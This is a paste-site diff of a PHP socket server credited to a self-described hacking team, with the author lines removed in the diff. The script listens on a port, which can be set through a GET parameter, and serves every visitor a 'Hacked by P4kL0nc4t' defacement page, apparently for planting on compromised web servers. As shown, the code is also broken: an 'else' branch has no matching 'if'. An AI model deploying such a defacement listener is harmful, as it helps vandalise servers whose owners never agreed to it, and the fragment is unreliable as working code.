SHOW:
|
|
- or go back to the newest paste.
1 | <?php | |
2 | /* | |
3 | - | - Socket Server PHP |
3 | + | - Socket Server PHP |
4 | - | | Author: P4kL0nc4t / Obsidian Cyber Team |
4 | + | |
5 | - | | Date: 28 October 2017 |
5 | + | |
6 | - | | Note: Editing author will not make you the real coder! |
6 | + | |
7 | $port = $_GET['port']; | |
8 | } else { | |
9 | $port = 2017; // port lu atau bisa lewat parameter get port | |
10 | } | |
11 | $sock = socket_create(AF_INET, SOCK_STREAM, 0); | |
12 | socket_bind($sock, 0, $port) or die('lnct_error: Failed to bind port'); | |
13 | socket_listen($sock); | |
14 | while ($client = socket_accept($sock)) { | |
15 | $response = "HTTP/1.0 200 OK\r\n"; | |
16 | $response .= "Server: P4kL0nc4t-SSWP\r\n"; | |
17 | $response .= "Content-Type: text/html\r\n\r\n"; | |
18 | $response .= "<html><h1>Hacked by P4kL0nc4t</h1><hr>Obsidian Cyber Team</html>"; | |
19 | socket_write($client, $response); | |
20 | socket_close($client); | |
21 | } | |
22 | socket_close($sock); | |
23 | ?> |